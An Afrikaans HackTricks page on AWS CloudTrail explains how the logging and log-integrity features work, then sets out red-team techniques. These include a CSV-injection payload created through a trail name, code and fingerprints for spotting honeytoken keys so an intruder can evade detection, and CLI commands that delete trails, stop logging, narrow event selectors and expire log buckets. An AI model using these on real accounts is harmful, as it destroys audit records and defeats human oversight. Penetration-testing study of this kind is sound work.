Afrikaans - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

AWS - CloudTrail Enum

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

CloudTrail

AWS CloudTrail neem op en monitor aktiwiteit binne jou AWS-omgewing. Dit vang gedetailleerde gebeurtenislogs op, insluitend wie wat gedoen het, wanneer, en van waar, vir alle interaksies met AWS-hulpbronne. Dit bied 'n ouditroete van veranderinge en aksies, wat help met sekuriteitsanalise, nakoming ouditering, en hulpbronveranderingsopsporing. CloudTrail is noodsaaklik vir die verstaan van gebruikers- en hulpbron-gedrag, om sekuriteitsposisies te versterk, en om nakomingsregulasies te verseker.

Elke gelogde gebeurtenis bevat:

  • Die naam van die geroepte API: eventName

  • Die geroepte diens: eventSource

  • Die tyd: eventTime

  • Die IP-adres: SourceIPAddress

  • Die agentmetode: userAgent. Voorbeelde:

  • Signing.amazonaws.com - Vanaf die AWS-bestuurskonsol

  • console.amazonaws.com - Hoofgebruiker van die rekening

  • lambda.amazonaws.com - AWS Lambda

  • Die versoekparameters: requestParameters

  • Die reaksie-elemente: responseElements

Gebeurtenisse word geskryf na 'n nuwe loglêer ongeveer elke 5 minute in 'n JSON-lêer, dit word deur CloudTrail aangehou en uiteindelik word loglêers ongeveer 15 minute na S3 afgelewer. CloudTrails-logboeke kan saamgevoeg word oor rekeninge en oor streke. CloudTrail maak dit moontlik om loglêerintegriteit te gebruik om te kan verifieer dat jou loglêers onveranderd gebly het sedert CloudTrail dit aan jou afgelewer het. Dit skep 'n SHA-256-hash van die logboeke binne 'n digest-lêer. 'n sha-256-hash van die nuwe logboeke word elke uur geskep. Wanneer 'n roete geskep word, sal die gebeurtenisselekteerders jou toelaat om aan te dui watter roete gelog moet word: Bestuurs-, data- of insiggebeurtenisse.

Logboeke word gestoor in 'n S3-emmer. Standaard word Server Side Encryption gebruik (SSE-S3) sodat AWS die inhoud vir die mense wat toegang daartoe het, sal ontsluit, maar vir addisionele sekuriteit kan jy SSE met KMS en jou eie sleutels gebruik.

Die logboeke word gestoor in 'n S3-emmer met hierdie naamformaat:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Waar die BucketName is: aws-cloudtrail-logs-<accountid>-<random>

  • Voorbeeld: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Binne elke vouer sal elke log 'n naam volgens hierdie formaat hê: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Loglêernaamkonvensie

Verder sal digest-lêers (om lêerintegriteit te kontroleer) binne dieselfde emmer wees in:

Saamgevoegde Logboeke vanuit Verskeie Rekeninge

  • Skep 'n Roete in die AWS-rekening waar jy wil hê dat die loglêers afgelewer moet word

  • Pas toestemmings toe op die bestemmings-S3-emmer wat kruisrekenings-toegang vir CloudTrail toelaat en elke AWS-rekening wat toegang nodig het

  • Skep 'n nuwe Roete in die ander AWS-rekeninge en kies om die geskepte emmer in stap 1 te gebruik

Nietemin, selfs al kan jy al die logboeke in dieselfde S3-emmer stoor, kan jy nie CloudTrail-logboeke vanuit verskeie rekeninge saamvoeg in 'n CloudWatch-logboeke wat behoort aan 'n enkele AWS-rekening nie.

Onthou dat 'n rekening verskillende Roetes van CloudTrail geaktiveer kan hê wat dieselfde (of verskillende) logboeke in verskillende emmers stoor.

Cloudtrail van alle org-rekeninge na 1

Wanneer 'n CloudTrail geskep word, is dit moontlik om aan te dui om cloudtrail te aktiveer vir al die rekeninge in die org en die logboeke in net 1 emmer te kry:

Op hierdie manier kan jy maklik CloudTrail in alle streke van al die rekeninge konfigureer en die logboeke in 1 rekening (wat jy moet beskerm) sentraliseer.

Loglêer Kontrole

Jy kan nagaan dat die logboeke nie verander is deur uit te voer

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs na CloudWatch

CloudTrail kan outomaties logboeke na CloudWatch stuur sodat jy waarskuwings kan instel wanneer verdagte aktiwiteite uitgevoer word. Let daarop dat 'n rol geskep moet word om CloudTrail toe te laat om die logboeke na CloudWatch te stuur. Indien moontlik, word dit aanbeveel om die AWS standaardrol te gebruik om hierdie aksies uit te voer. Hierdie rol sal CloudTrail toelaat om:

  • CreateLogStream: Hierdie maak dit moontlik om 'n CloudWatch Logs-logstroom te skep

  • PutLogEvents: Lewer CloudTrail-logboeke aan CloudWatch Logs-logstroom

Gebeurtenisgeskiedenis

CloudTrail Gebeurtenisgeskiedenis maak dit moontlik om in 'n tabel die logboeke wat opgeteken is, te ondersoek:

Insigte

CloudTrail Insigte analiseer outomaties skryfbestuursgebeurtenisse van CloudTrail-roetes en waarsku jou vir ongewone aktiwiteit. Byvoorbeeld, as daar 'n toename in TerminateInstance-gebeurtenisse is wat verskil van gevestigde basislyne, sal jy dit sien as 'n Insiggebeurtenis. Hierdie gebeurtenisse maak dit makliker as ooit om ongewone API-aktiwiteit te vind en daarop te reageer.

Die insigte word gestoor in dieselfde emmer as die CloudTrail-logboeke in: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Sekuriteit

Integriteit van CloudTrail-loglêer

  • Valideer of logboeke getamper is (verander of verwyder)

  • Gebruik digest-lêers (skep 'n has vir elke lêer)

    • SHA-256 hashing

    • SHA-256 met RSA vir digitale ondertekening

    • privaatsleutel in besit van Amazon

  • Neem 1 uur om 'n digest-lêer te skep (gedoen op die uur elke uur)

Stop ongemagtigde toegang

  • Gebruik IAM-beleide en S3-emmerbeleide

    • sekuriteitspan —> admin-toegang

    • <li-revisore —> slegs leestoegang

  • Gebruik SSE-S3/SSE-KMS om die logboeke te enkripteer

Voorkom dat loglêers verwyder word

  • Beperk verwyderingstoegang met IAM- en emmerbeleide

  • Konfigureer S3 MFA verwyder

  • Valideer met Loglêer Validering

Toegangadviseur

AWS Toegangadviseur steun op die laaste 400 dae AWS CloudTrail-logboeke om sy insigte te versamel. CloudTrail neem 'n geskiedenis van AWS API-oproepe en verwante gebeurtenisse wat in 'n AWS-rekening gemaak is. Toegangadviseur maak gebruik van hierdie data om te wys wanneer dienste laas benader is. Deur CloudTrail-logboeke te analiseer, kan Toegangadviseur bepaal watter AWS-dienste 'n IAM-gebruiker of -rol benader het en wanneer daardie toegang plaasgevind het. Dit help AWS-administrateurs om ingeligte besluite te neem oor die verfyning van toestemmings, aangesien hulle dienste kan identifiseer wat vir lang tydperke nie benader is nie en moontlik oormatig breë toestemmings kan verminder gebaseer op werklike gebruikspatrone.

Daarom gee Toegangadviseur inligting oor die onnodige toestemmings wat aan gebruikers gegee word sodat die admin hulle kan verwyder

Aksies

Enumerasie

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV-inspuiting

Dit is moontlik om 'n CVS-inspuiting binne CloudTrail uit te voer wat arbitrêre kode sal hardloop as die logboeke uitgevoer word in CSV en oopgemaak word met Excel. Die volgende kode sal 'n loginskrywing genereer met 'n slegte Trail-naam wat die lading bevat:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Vir meer inligting oor CSV-inspuitings, besoek die bladsy:

Vir meer inligting oor hierdie spesifieke tegniek, besoek https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Deurskuif Deteksie

HoneyTokens deurskuif

Honeytokens word geskep om eksfiltrering van sensitiewe inligting op te spoor. In die geval van AWS is hulle AWS-sleutels waarvan die gebruik gemonitor word, as iets 'n aksie met daardie sleutel trigger, het iemand daardie sleutel gesteel.

Tog, Honeytokens soos dié geskep deur Canarytokens, SpaceCrab, SpaceSiren gebruik óf 'n herkenbare rekeningnaam óf dieselfde AWS-rekening-ID vir al hul kliënte. Daarom, as jy die rekeningnaam en/of rekening-ID kan kry sonder om Cloudtrail enige log te laat skep, kan jy weet of die sleutel 'n honeytoken is of nie.

Pacu het 'n paar reels om te bepaal of 'n sleutel behoort aan Canarytokens, SpaceCrab, SpaceSiren:

  • As canarytokens.org in die rol naam verskyn of die rekening-ID 534261010715 in die foutboodskap verskyn.

  • Met toetse onlangs, gebruik hulle die rekening 717712589309 en het steeds die canarytokens.com string in die naam.

  • As SpaceCrab in die rol naam in die foutboodskap verskyn

  • SpaceSiren gebruik uuids om gebruikersname te genereer: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • As die naam lyk soos willekeurig gegenereer, is daar 'n hoë waarskynlikheid dat dit 'n HoneyToken is.

Kry die rekening-ID van die Sleutel-ID

Jy kan die Rekening-ID kry van die geënkripteerde binne die toegangssleutel soos hier verduidelik en die rekening-ID nagaan met jou lys van Honeytokens AWS-rekeninge:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Kyk vir meer inligting in die oorspronklike navorsing.

Moet nie 'n log genereer nie

Die mees doeltreffende tegniek hiervoor is eintlik 'n eenvoudige een. Gebruik net die sleutel wat jy net gekry het om toegang te verkry tot 'n diens binne jou eie aanvaller se rekening. Dit sal CloudTrail 'n log genereer binne JOU EIE AWS-rekening en nie binne die slagoffers nie.

Die ding is dat die uitset jou 'n fout sal wys wat die rekening-ID en die rekeningnaam aandui sodat jy kan sien of dit 'n Honeytoken is.

AWS-diens sonder logboeke

In die verlede was daar sommige AWS-diens wat nie logboeke na CloudTrail stuur nie (vind 'n lys hier). Sommige van daardie dienste sal reageer met 'n fout wat die ARN van die sleutelrol bevat as iemand ongemagtig (die honeytoken-sleutel) probeer om toegang daartoe te verkry.

Op hierdie manier kan 'n aanvaller die ARN van die sleutel verkry sonder om enige log te veroorsaak. In die ARN kan die aanvaller die AWS-rekening-ID en die naam sien, dit is maklik om die rekening-ID's en name van die HoneyToken se maatskappye te identifiseer, sodat 'n aanvaller kan bepaal of die token 'n HoneyToken is.

Let daarop dat alle openbare API's wat ontdek is om nie CloudTrail-logboeke te skep nie, nou reggemaak is, so jy moet dalk jou eie vind...

Vir meer inligting, kyk na die oorspronklike navorsing.

Toegang tot Derde-infrastruktuur

Sekere AWS-diens sal sekere infrastruktuur skep soos Databasisse of Kubernetes-klusters (EKS). 'n Gebruiker wat direk met daardie dienste praat (soos die Kubernetes API) sal nie die AWS API gebruik nie, sodat CloudTrail nie hierdie kommunikasie kan sien nie.

Daarom kan 'n gebruiker met toegang tot EKS wat die URL van die EKS API ontdek het, plaaslik 'n token genereer en direk met die API-diens praat sonder om deur Cloudtrail opgespoor te word.

Meer inligting in:

AWS - EKS Post Exploitation

Wysiging van CloudTrail-konfigurasie

Verwyder roetes

aws cloudtrail delete-trail --name [trail-name]

Stop spore

aws cloudtrail stop-logging --name [trail-name]

Deaktiveer logboekhouding vir meervoudige streke

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Deaktiveer Logging deur Gebeurtenis Seletors

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

In die eerste voorbeeld word 'n enkele gebeurtenis-selekteerder verskaf as 'n JSON-array met 'n enkele objek. Die "ReadWriteType": "ReadOnly" dui daarop dat die gebeurtenis-selekteerder slegs leesgebeurtenisse moet vasvang (so CloudTrail-insigte sal nie skryfgebeurtenisse nagaan nie).

Jy kan die gebeurtenis-selekteerder aanpas gebaseer op jou spesifieke vereistes.

Logs verwydering via S3 lewensikluspbeleid

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Wysiging van Emmerskonfigurasie

  • Verwyder die S3-emmer

  • Verander die emmerbeleid om enige skryfaksies van die CloudTrail-diens te ontken

  • Voeg 'n lewensikluspbeleid by S3-emmer om voorwerpe te verwyder

  • Deaktiveer die kms-sleutel wat gebruik word om die CloudTrail-logboeke te versleutel

Cloudtrail-ransomware

S3-ransomware

Jy kan 'n asimmetriese sleutel genereer en CloudTrail die data laat versleutel met daardie sleutel en die privaatsleutel verwyder sodat die CloudTrail-inhoud nie herstel kan word nie. Dit is basies 'n S3-KMS-ransomware wat verduidelik word in:

AWS - S3 Post Exploitation

KMS-ransomware

Dit is 'n maklikste manier om die vorige aanval uit te voer met verskillende toestemmingsvereistes:

AWS - KMS Post Exploitation

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

PreviousAWS - Security & Detection ServicesNextAWS - CloudWatch Enum

Last updated